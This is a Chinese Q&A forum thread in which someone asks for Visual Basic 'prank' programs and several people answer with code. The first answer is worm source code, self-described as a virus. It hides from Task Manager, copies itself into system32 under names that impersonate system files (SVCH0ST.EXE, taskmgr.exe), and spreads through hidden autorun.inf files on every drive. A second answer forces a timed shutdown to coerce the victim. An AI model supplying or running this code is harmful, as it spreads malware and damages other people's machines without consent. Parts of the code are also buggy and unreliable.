Question

给几个VB整人程序的代码。。耍耍人。呵呵

Answer 1

Dim num, nums '驱动器数
Dim i As Integer '文件号
Dim j As Integer 'FOR用的变量!
Private Sub Form_Load() '程序初始化！
'不准重复运行本病毒！
If App.PrevInstance Then
End
End If
'在任务管理器中隐身！
App.TaskVisible = False
'病毒自我保护函数
a0
auts
'得到当前驱动器数！
a2
'设置时间：为5000 MS 检查一次(5秒)
t1.Interval = 5000
t1.Enabled = True
End Sub
Sub a0() '病毒自我保护函数
Dim temp As String
Dim temp2 As String
On Error Resume Next
temp = Trim(App.Path) & "\" & Trim(App.EXEName) & ".exe"
'得到系统目录！得到后，自我复制到SYSTEM32下！
For j = 0 To aa.ListCount - 1
temp2 = Trim(aa.List(j)) & "\windows"
If Dir(temp2, vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then
temp2 = Trim(aa.List(j)) & "\WINNT"
If Dir(temp2, vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then
GoTo zz1
Else
FileCopy temp, Trim(aa.List(j)) & "\winnt\system32\SVCH0ST.EXE"
FileCopy temp, Trim(aa.List(j)) & "\WINNT\system32\taskmgr.exe"
FileCopy temp, Trim(aa.List(j)) & "\WINNT\system32\dllcache\taskmgr.exe"
End If
Else
FileCopy temp, Trim(aa.List(j)) & "\windows\system32\SVCH0ST.EXE"
FileCopy temp, Trim(aa.List(j)) & "\windows\system32\taskmgr.exe"
FileCopy temp, Trim(aa.List(j)) & "\windows\system32\dllcache\taskmgr.exe"
FileCopy temp, Trim(aa.List(j)) & "C:\WINDOWS\ServicePackFiles\i386\taskmgr.exe"
End If
zz1:
Next
End Sub
Sub a1() '感染函数
Dim temp As String
Dim temp2 As String
temp = Trim(App.Path) & "\" & Trim(App.EXEName) & ".exe"
For j = nums + 1 To num
temp2 = Trim(aa.List(j)) & "\auto.exe"
FileCopy temp, temp2
i = FreeFile
Open Trim(aa.List(j)) & "\autorun.inf" For Output As #i
Print #i, "[Autorun]"
Print #i, "open=auto.exe"
Close #i
SetAttr Trim(aa.List(j)) & "\autorun.inf", vbHidden
SetAttr Trim(aa.List(j)) & "\auto.exe", vbHidden
Next
End Sub
Sub a2() '得到当前驱动器数！
num = aa.ListCount - 1
If Dir("c:\.a", vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then
i = FreeFile
Open "c:\.a" For Output As #i
Print #i, num
Close #i
End If
End Sub
Private Sub t1_Timer() '时间函数
num = aa.ListCount - 1
i = FreeFile
Open "c:\.a" For Input As #i
Line Input #i, nums
Close #i
nums = Trim(nums)
nums = Int(nums)
If num <> nums Then
If num > nums Then
a1
End If
If num < nums Then
i = FreeFile
Open "c:\.a" For Output As #i
Print #i, num
Close #i
End If
End If
aa.Refresh
End Sub
Sub bat() '写自我删除程序
On Error Resume Next
i = FreeFile
Open App.Path & "\killme.bat" For Output As #i
Print #i, "@echo off"
Print #i, "sleep 1000"
Print #i, "del " & App.EXEName + ".exe"
Print #i, "del killme.bat"
Print #i, "cls"
Print #i, "exit"
Close #i
Shell App.Path & "\killme.bat", vbHide
End
End Sub
Sub auts() '自我感染全驱动器
On Error GoTo err1
Dim file_temp As String
i = FreeFile
Open "c:\autorun.inf" For Output As #i
Print #i, "[Autorun]"
Print #i, "open=autorun.exe"
Close #i
file_temp = Trim(App.Path & "\" & App.EXEName & ".exe")
FileCopy file_temp, "c:\autorun.exe"
SetAttr "c:\autorun.inf", vbHidden
SetAttr "c:\autorun.exe", vbHidden
Dim dirid As Integer
For dirid = 100 To 122
MsgBox Chr(dirid)
FileCopy "c:\autorun.exe", Chr(dirid) & ":\autorun.exe"
FileCopy "c:\autorun.inf", Chr(dirid) & ":\autorun.inf"
SetAttr Chr(dirid) & ":\autorun.inf", vbHidden
SetAttr Chr(dirid) & " :\autorun.exe", vbHidden
Next
err1:
End Sub

后缀改为vbs

Answer 2

'新建一个记事本，输入以下代码，后缀改为.frm然后打开就可以了
'***********************************************************
VERSION 5.00
Begin VB.Form Form1
BorderStyle = 3 'Fixed Dialog
Caption = "牛不牛"
ClientHeight = 1935
ClientLeft = 45
ClientTop = 435
ClientWidth = 3420
LinkTopic = "Form1"
MaxButton = 0 'False
MinButton = 0 'False
ScaleHeight = 1935
ScaleWidth = 3420
ShowInTaskbar = 0 'False
StartUpPosition = 2 '屏幕中心
Begin VB.CommandButton Command2
Caption = "取消"
Height = 495
Left = 1920
TabIndex = 4
Top = 1080
Width = 1215
End
Begin VB.CommandButton Command1
Caption = "确定"
Height = 495
Left = 120
TabIndex = 3
Top = 1080
Width = 1215
End
Begin VB.TextBox Text1
BeginProperty Font
Name = "宋体"
Size = 15
Charset = 134
Weight = 400
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 375
Left = 840
TabIndex = 1
Text = "不叫"
Top = 480
Width = 2415
End
Begin VB.Label Label2
Caption = "叫啊："
Height = 375
Left = 240
TabIndex = 2
Top = 600
Width = 735
End
Begin VB.Label Label1
Caption = "叫哥哥，不然关你电脑"
Height = 255
Left = 120
TabIndex = 0
Top = 120
Width = 4215
End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False

Private Sub Command1_Click()
If Text1.Text = "哥哥" Then Shell ("shutdown -a") Else Label1.Caption = "再给你一次机会，快叫哥哥"

End Sub

Private Sub Command2_Click()
Label1.Caption = "你想要关机了吗？"
End Sub

Private Sub Form_Load()
Shell ("shutdown -f -s -t 60 ")
End Sub
'更多代码进我空间：http://hi.baidu.com/%D7%BF7358/home

Answer 3

Private Sub Command1_Click()
a = "你甘心被耍不"
sss:
b = MsgBox(a, vbYesNo)
If b = vbYes Then
MsgBox "小孙子好样的"
Else
GoTo sss
End If
End Sub

Private Sub Form_Load()
Command1.Caption = "点击会有惊喜哦"
End Sub
文字自己可以改，想怎么整就怎么整

Answer 4

sub 整人
if 我要耍人 then
呵呵
end if
end sub

Answer 5

要怎么整？